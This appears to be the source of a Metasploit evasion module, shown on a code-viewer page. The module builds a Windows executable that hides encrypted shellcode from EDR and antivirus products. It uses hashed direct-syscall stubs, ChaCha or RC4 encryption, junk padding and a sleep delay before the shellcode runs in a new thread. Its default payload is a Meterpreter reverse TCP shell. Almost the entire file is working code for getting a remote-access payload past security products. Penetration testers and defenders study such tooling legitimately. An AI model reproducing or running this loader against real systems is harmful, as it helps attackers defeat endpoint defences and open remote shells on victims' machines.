rapid7/metasploit-framework

View on GitHub
modules/evasion/windows/syscall_inject.rb

Summary

Maintainability
D
2 days
Test Coverage
require 'metasploit/framework/compiler/mingw'
require 'metasploit/framework/compiler/windows'
class MetasploitModule < Msf::Evasion
  RC4 = File.join(Msf::Config.data_directory, 'headers', 'windows', 'rc4.h')
  BASE64 = File.join(Msf::Config.data_directory, 'headers', 'windows', 'base64.h')
  def initialize(info = {})
    super(
      merge_info(
        info,
        'Name' => 'Direct windows syscall evasion technique',
        'Description' => %q{
          This module allows you to generate a Windows EXE that evades Host-based security products
          such as EDR/AVs. It uses direct windows syscalls to achieve stealthiness, and avoid EDR hooking.

          please try to use payloads that use a more secure transfer channel such as HTTPS or RC4
          in order to avoid payload's network traffic getting caught by network defense mechanisms.
          NOTE: for better evasion ratio, use high SLEEP values
        },
        'Author' => [ 'Yaz (kensh1ro)' ],
        'License' => MSF_LICENSE,
        'Platform' => 'windows',
        'Arch' => ARCH_X64,
        'Dependencies' => [ Metasploit::Framework::Compiler::Mingw::X64 ],
        'DefaultOptions' => {
          'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'
        },
        'Targets' => [['Microsoft Windows (x64)', {}]]
      )
      )
    register_options(
      [
        OptEnum.new('CIPHER', [ true, 'Shellcode encryption type', 'chacha', ['chacha', 'rc4']]),
        OptInt.new('SLEEP', [false, 'Sleep time in milliseconds before executing shellcode', 20000]),
      ]
    )

    register_advanced_options(
      [
        OptEnum.new('OptLevel', [ false, 'The optimization level to compile with', 'Os', Metasploit::Framework::Compiler::Mingw::OPTIMIZATION_FLAGS ]),
      ]
    )
  end

  def calc_hash(name)
    hash = @hash
    ror8 = ->(v) { ((v >> 8) & 0xffffffff) | ((v << 24) & 0xffffffff) }
    name.sub!('Nt', 'Zw')
    name << "\x00"
    for x in (0..name.length - 2).map { |i| name[i..i + 1] if name[i..i + 1].length == 2 }
      p_name = x.unpack('S')[0]
      hash ^= p_name + ror8.call(hash)
    end
    hash.to_s(16)
  end

  def nt_alloc
    %^
    __asm__("NtAllocateVirtualMemory: \\n\\
        mov [rsp +8], rcx          \\n\\
        mov [rsp+16], rdx\\n\\
        mov [rsp+24], r8\\n\\
        mov [rsp+32], r9\\n\\
        sub rsp, 0x28\\n\\
        mov ecx, 0x#{calc_hash 'NtAllocateVirtualMemory'}        \\n\\
        call GetSyscallNumber  \\n\\
        add rsp, 0x28 \\n\\
        mov rcx, [rsp +8]          \\n\\
        mov rdx, [rsp+16] \\n\\
        mov r8, [rsp+24] \\n\\
        mov r9, [rsp+32] \\n\\
        mov r10, rcx \\n\\
        syscall                    \\n\\
        ret \\n\\
    ");
    ^
  end

  def nt_close
    %^
    __asm__("NtClose: \\n\\
        mov [rsp +8], rcx       \\n\\
        mov [rsp+16], rdx \\n\\
        mov [rsp+24], r8 \\n\\
        mov [rsp+32], r9 \\n\\
        sub rsp, 0x28 \\n\\
        mov ecx, 0x#{calc_hash 'NtClose'}      \\n\\
        call GetSyscallNumber  \\n\\
        add rsp, 0x28 \\n\\
        mov rcx, [rsp +8]          \\n\\
        mov rdx, [rsp+16] \\n\\
        mov r8, [rsp+24] \\n\\
        mov r9, [rsp+32] \\n\\
        mov r10, rcx \\n\\
        syscall                    \\n\\
        ret \\n\\
    ");
    ^
  end

  def nt_create_thread
    %^
    __asm__("NtCreateThreadEx: \\n\\
        mov [rsp +8], rcx          \\n\\
        mov [rsp+16], rdx\\n\\
        mov [rsp+24], r8\\n\\
        mov [rsp+32], r9\\n\\
        sub rsp, 0x28\\n\\
        mov ecx, 0x#{calc_hash 'NtCreateThreadEx'}        \\n\\
        call GetSyscallNumber  \\n\\
        add rsp, 0x28\\n\\
        mov rcx, [rsp +8]          \\n\\
        mov rdx, [rsp+16]\\n\\
        mov r8, [rsp+24]\\n\\
        mov r9, [rsp+32]\\n\\
        mov r10, rcx\\n\\
        syscall                    \\n\\
        ret \\n\\
    ");
    ^
  end

  def nt_open_process
    %^
    __asm__("NtOpenProcess: \\n\\
        mov [rsp +8], rcx           \\n\\
        mov [rsp+16], rdx \\n\\
        mov [rsp+24], r8 \\n\\
        mov [rsp+32], r9 \\n\\
        sub rsp, 0x28 \\n\\
        mov ecx, 0x#{calc_hash 'NtOpenProcess'}        \\n\\
        call GetSyscallNumber  \\n\\
        add rsp, 0x28 \\n\\
        mov rcx, [rsp +8]         \\n\\
        mov rdx, [rsp+16] \\n\\
        mov r8, [rsp+24] \\n\\
        mov r9, [rsp+32] \\n\\
        mov r10, rcx \\n\\
        syscall                    \\n\\
        ret \\n\\
    ");
    ^
  end

  def nt_protect
    %^
    __asm__("NtProtectVirtualMemory: \\n\\
    push rcx \\n\\
    push rdx \\n\\
    push r8 \\n\\
    push r9 \\n\\
    mov ecx, 0x#{calc_hash 'NtProtectVirtualMemory'} \\n\\
    call GetSyscallNumber  \\n\\
    pop r9  \\n\\
    pop r8 \\n\\
    pop rdx \\n\\
    pop rcx \\n\\
    mov r10, rcx \\n\\
    syscall           \\n\\
    ret \\n\\
    ");
    ^
  end

  def nt_write
    %^
    __asm__("NtWriteVirtualMemory: \\n\\
        mov [rsp +8], rcx          \\n\\
        mov [rsp+16], rdx \\n\\
        mov [rsp+24], r8 \\n\\
        mov [rsp+32], r9 \\n\\
        sub rsp, 0x28 \\n\\
        mov ecx, 0x#{calc_hash 'NtWriteVirtualMemory'}        \\n\\
        call GetSyscallNumber  \\n\\
        add rsp, 0x28 \\n\\
        mov rcx, [rsp +8]          \\n\\
        mov rdx, [rsp+16] \\n\\
        mov r8, [rsp+24] \\n\\
        mov r9, [rsp+32] \\n\\
        mov r10, rcx \\n\\
        syscall                    \\n\\
        ret \\n\\
    ");
    ^
  end

  def headers
    @headers = "#include <windows.h>\n"
    @headers << "#include \"#{BASE64}\"\n"
    @headers << "#include \"#{RC4}\"\n" if datastore['CIPHER'] == 'rc4'
    @headers << "#include \"chacha.h\"\n" if datastore['CIPHER'] == 'chacha'
    @headers
  end

  def defines
    %^
        #define _SEED 0x#{@hash.to_s(16)}
        #define _ROR8(v) (v >> 8 | v << 24)
        #define MAX_SYSCALLS 500
        #define _RVA2VA(Type, DllBase, Rva) (Type)((ULONG_PTR) DllBase + Rva)


        typedef struct _SYSCALL_ENTRY
        {
            DWORD Hash;
            DWORD Address;
        } SYSCALL_ENTRY, *P_SYSCALL_ENTRY;

        typedef struct _SYSCALL_LIST
        {
            DWORD Count;
            SYSCALL_ENTRY Entries[MAX_SYSCALLS];
        } SYSCALL_LIST, *P_SYSCALL_LIST;

        typedef struct _PEB_LDR_DATA {
            BYTE Reserved1[8];
            PVOID Reserved2[3];
            LIST_ENTRY InMemoryOrderModuleList;
        } PEB_LDR_DATA, *P_PEB_LDR_DATA;

        typedef struct _LDR_DATA_TABLE_ENTRY {
            PVOID Reserved1[2];
            LIST_ENTRY InMemoryOrderLinks;
            PVOID Reserved2[2];
            PVOID DllBase;
        } LDR_DATA_TABLE_ENTRY, *P_LDR_DATA_TABLE_ENTRY;

        typedef struct _PEB {
            BYTE Reserved1[2];
            BYTE BeingDebugged;
            BYTE Reserved2[1];
            PVOID Reserved3[2];
            P_PEB_LDR_DATA Ldr;
        } PEB, *P_PEB;

        typedef struct _PS_ATTRIBUTE
        {
            ULONG  Attribute;
            SIZE_T Size;
            union
            {
                ULONG Value;
                PVOID ValuePtr;
            } u1;
            PSIZE_T ReturnLength;
        } PS_ATTRIBUTE, *PPS_ATTRIBUTE;

        typedef struct _UNICODE_STRING
        {
            USHORT Length;
            USHORT MaximumLength;
            PWSTR  Buffer;
        } UNICODE_STRING, *PUNICODE_STRING;

        typedef struct _OBJECT_ATTRIBUTES
        {
            ULONG           Length;
            HANDLE          RootDirectory;
            PUNICODE_STRING ObjectName;
            ULONG           Attributes;
            PVOID           SecurityDescriptor;
            PVOID           SecurityQualityOfService;
        } OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES;

        typedef struct _CLIENT_ID
        {
            HANDLE UniqueProcess;
            HANDLE UniqueThread;
        } CLIENT_ID, *PCLIENT_ID;

        typedef struct _PS_ATTRIBUTE_LIST
        {
            SIZE_T       TotalLength;
            PS_ATTRIBUTE Attributes[1];
        } PS_ATTRIBUTE_LIST, *PPS_ATTRIBUTE_LIST;

        EXTERN_C NTSTATUS NtAllocateVirtualMemory(
            IN HANDLE ProcessHandle,
            IN OUT PVOID * BaseAddress,
            IN ULONG ZeroBits,
            IN OUT PSIZE_T RegionSize,
            IN ULONG AllocationType,
            IN ULONG Protect);

        EXTERN_C NTSTATUS NtProtectVirtualMemory(
            IN HANDLE ProcessHandle,
            IN OUT PVOID * BaseAddress,
            IN OUT PSIZE_T RegionSize,
            IN ULONG NewProtect,
            OUT PULONG OldProtect);

        EXTERN_C NTSTATUS NtCreateThreadEx(
            OUT PHANDLE ThreadHandle,
            IN ACCESS_MASK DesiredAccess,
            IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,
            IN HANDLE ProcessHandle,
            IN PVOID StartRoutine,
            IN PVOID Argument OPTIONAL,
            IN ULONG CreateFlags,
            IN SIZE_T ZeroBits,
            IN SIZE_T StackSize,
            IN SIZE_T MaximumStackSize,
            IN PPS_ATTRIBUTE_LIST AttributeList OPTIONAL);

        EXTERN_C NTSTATUS NtWriteVirtualMemory(
            IN HANDLE ProcessHandle,
            IN PVOID BaseAddress,
            IN PVOID Buffer,
            IN SIZE_T NumberOfBytesToWrite,
            OUT PSIZE_T NumberOfBytesWritten OPTIONAL);

        EXTERN_C NTSTATUS NtOpenProcess(
            OUT PHANDLE ProcessHandle,
            IN ACCESS_MASK DesiredAccess,
            IN POBJECT_ATTRIBUTES ObjectAttributes,
            IN PCLIENT_ID ClientId OPTIONAL);

        EXTERN_C NTSTATUS NtClose(
            IN HANDLE Handle);
        ^
  end

  def syscall_parser
    %@
    SYSCALL_LIST _SyscallList;

    DWORD HashSyscall(PCSTR FunctionName)
    {
        DWORD i = 0;
        DWORD Hash = _SEED;

        while (FunctionName[i])
        {
            WORD PartialName = *(WORD*)((ULONG64)FunctionName + i++);
            Hash ^= PartialName + _ROR8(Hash);
        }

        return Hash;
    }

    BOOL PopulateSyscallList()
    {
        // Return early if the list is already populated.
        if (_SyscallList.Count) return TRUE;

        P_PEB Peb = (P_PEB)__readgsqword(0x60);
        P_PEB_LDR_DATA Ldr = Peb->Ldr;
        PIMAGE_EXPORT_DIRECTORY ExportDirectory = NULL;
        PVOID DllBase = NULL;

        // Get the DllBase address of NTDLL.dll. NTDLL is not guaranteed to be the second
        // in the list, so it's safer to loop through the full list and find it.
        P_LDR_DATA_TABLE_ENTRY LdrEntry;
        for (LdrEntry = (P_LDR_DATA_TABLE_ENTRY)Ldr->Reserved2[1]; LdrEntry->DllBase != NULL; LdrEntry = (P_LDR_DATA_TABLE_ENTRY)LdrEntry->Reserved1[0])
        {
            DllBase = LdrEntry->DllBase;
            PIMAGE_DOS_HEADER DosHeader = (PIMAGE_DOS_HEADER)DllBase;
            PIMAGE_NT_HEADERS NtHeaders = _RVA2VA(PIMAGE_NT_HEADERS, DllBase, DosHeader->e_lfanew);
            PIMAGE_DATA_DIRECTORY DataDirectory = (PIMAGE_DATA_DIRECTORY)NtHeaders->OptionalHeader.DataDirectory;
            DWORD VirtualAddress = DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
            if (VirtualAddress == 0) continue;

            ExportDirectory = (PIMAGE_EXPORT_DIRECTORY)_RVA2VA(ULONG_PTR, DllBase, VirtualAddress);

            // If this is NTDLL.dll, exit loop.
            PCHAR DllName = _RVA2VA(PCHAR, DllBase, ExportDirectory->Name);

            if ((*(ULONG*)DllName) != 'ldtn') continue;
            if ((*(ULONG*)(DllName + 4)) == 'ld.l') break;
        }

        if (!ExportDirectory) return FALSE;

        DWORD NumberOfNames = ExportDirectory->NumberOfNames;
        PDWORD Functions = _RVA2VA(PDWORD, DllBase, ExportDirectory->AddressOfFunctions);
        PDWORD Names = _RVA2VA(PDWORD, DllBase, ExportDirectory->AddressOfNames);
        PWORD Ordinals = _RVA2VA(PWORD, DllBase, ExportDirectory->AddressOfNameOrdinals);

        // Populate _SyscallList with unsorted Zw* entries.
        DWORD i = 0;
        P_SYSCALL_ENTRY Entries = _SyscallList.Entries;
        do
        {
            PCHAR FunctionName = _RVA2VA(PCHAR, DllBase, Names[NumberOfNames - 1]);

            // Is this a system call?
            if (*(USHORT*)FunctionName == 'wZ')
            {
                Entries[i].Hash = HashSyscall(FunctionName);
                Entries[i].Address = Functions[Ordinals[NumberOfNames - 1]];

                i++;
                if (i == MAX_SYSCALLS) break;
            }
        } while (--NumberOfNames);

        // Save total number of system calls found.
        _SyscallList.Count = i;

        // Sort the list by address in ascending order.
        for (DWORD i = 0; i < _SyscallList.Count - 1; i++)
        {
            for (DWORD j = 0; j < _SyscallList.Count - i - 1; j++)
            {
                if (Entries[j].Address > Entries[j + 1].Address)
                {
                    // Swap entries.
                    SYSCALL_ENTRY TempEntry;

                    TempEntry.Hash = Entries[j].Hash;
                    TempEntry.Address = Entries[j].Address;

                    Entries[j].Hash = Entries[j + 1].Hash;
                    Entries[j].Address = Entries[j + 1].Address;

                    Entries[j + 1].Hash = TempEntry.Hash;
                    Entries[j + 1].Address = TempEntry.Address;
                }
            }
        }

        return TRUE;
    }

    extern DWORD GetSyscallNumber(DWORD FunctionHash)
    {
        if (!PopulateSyscallList()) return -1;
        for (DWORD i = 0; i < _SyscallList.Count; i++)
        {
            if (FunctionHash == _SyscallList.Entries[i].Hash)
            {
                return i;
            }
        }
        return -1;
    }
    @
  end

  def exec_func
    %^
        char* enc_shellcode = "#{get_payload}";
        DWORD exec(void *buffer)
        {
            void (*function)();
            function = (void (*)())buffer;
            function();
        }
        ^
  end

  def inject
    s = "int i; for(i=0;i<10;i++){Sleep(#{datastore['SLEEP']} / 10);}"
    @inject = %@

        void inject()
        {
            HANDLE pHandle;
            DWORD old = 0;
            CLIENT_ID cID = {0};
            OBJECT_ATTRIBUTES OA = {0};
            int b64len = strlen(enc_shellcode);
            PBYTE shellcode = (PBYTE)malloc(b64len);
            SIZE_T size = base64decode(shellcode, enc_shellcode, b64len);
            PVOID bAddress = NULL;
            int process_id = GetCurrentProcessId();
            cID.UniqueProcess = process_id;
            NtOpenProcess(&pHandle, PROCESS_ALL_ACCESS, &OA, &cID);
            NtAllocateVirtualMemory(pHandle, &bAddress, 0, &size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
            int n = 0;
            PBYTE temp = (PBYTE)malloc(size);
            @
    if datastore['CIPHER'] == 'rc4'
      @inject << %@
            #{Rex::Text.to_c key, Rex::Text::DefaultWrap, 'key'}
            RC4(key, shellcode, temp, size);
            NtWriteVirtualMemory(pHandle, bAddress, temp, size, NULL);
            @
    else
      @inject << %@
            #{Rex::Text.to_c key, Rex::Text::DefaultWrap, 'key'}
            #{Rex::Text.to_c iv, Rex::Text::DefaultWrap, 'iv'}
            chacha_ctx ctx;
            chacha_keysetup(&ctx, key, 256, 96);
            chacha_ivsetup(&ctx, iv);
            chacha_encrypt_bytes(&ctx, shellcode, temp, size);
            NtWriteVirtualMemory(pHandle, bAddress, temp, size, NULL);
            @
    end
    @inject << %@
            NtProtectVirtualMemory(pHandle, &bAddress, &size, PAGE_EXECUTE, &old);
            #{s if datastore['SLEEP'] > 0};
            HANDLE thread = NULL;
            NtCreateThreadEx(&thread, THREAD_ALL_ACCESS, NULL, pHandle, exec, bAddress, NULL, NULL, NULL, NULL, NULL);
            WaitForSingleObject(thread, INFINITE);
            NtClose(thread);
            NtClose(pHandle);
        }
        @
  end

  def main
    %^
        int main()
        {
            inject();
        }
        ^
  end

  def key
    if datastore['CIPHER'] == 'rc4'
      @key ||= Rex::Text.rand_text_alpha(32..64)
    else
      @key ||= Rex::Text.rand_text(32)
    end
  end

  def iv
    if datastore['CIPHER'] == 'chacha'
      @iv ||= Rex::Text.rand_text(12)
    end
  end

  def get_payload
    junk = Rex::Text.rand_text(10..1024)
    p = payload.encoded + junk
    vprint_status("Payload size: #{p.size} = #{payload.encoded.size} + #{junk.size} (junk)")
    if datastore['CIPHER'] == 'chacha'
      chacha = Rex::Crypto::Chacha20.new(key, iv)
      p = chacha.chacha20_crypt(p)
      Rex::Text.encode_base64 p
    else
      opts = { format: 'rc4', key: key }
      Msf::Simple::Buffer.transform(p, 'base64', 'shellcode', opts)
    end
  end

  def generate_code(src, opts = {})
    comp_obj = Metasploit::Framework::Compiler::Mingw::X64.new(opts)
    compiler_out = comp_obj.compile_c(src)
    unless compiler_out.empty?
      elog(compiler_out)
      raise Metasploit::Framework::Compiler::Mingw::UncompilablePayloadError, 'Compilation error. Check the logs for further information.'
    end
    comp_file = "#{opts[:f_name]}.exe"
    raise Metasploit::Framework::Compiler::Mingw::CompiledPayloadNotFoundError unless File.exist?(comp_file)

    bin = File.binread(comp_file)
    file_create(bin)
    comp_obj.cleanup_files
  end

  def run
    @hash = rand 2**28..2**32 - 1
    comp_opts = '-masm=intel -w -mwindows '
    src = headers
    src << defines
    src << nt_alloc
    src << nt_close
    src << nt_create_thread
    src << nt_open_process
    src << nt_protect
    src << nt_write
    src << syscall_parser
    src << exec_func
    src << inject
    src << main
    # obf_src =  Metasploit::Framework::Compiler::Windows.generate_random_c src
    path = Tempfile.new('main').path
    vprint_good "Saving temporary source file in #{path}"
    compile_opts =
      {
        strip_symbols: true,
        compile_options: comp_opts,
        f_name: path,
        opt_lvl: datastore['OptLevel']
      }
    generate_code src, compile_opts
  end

end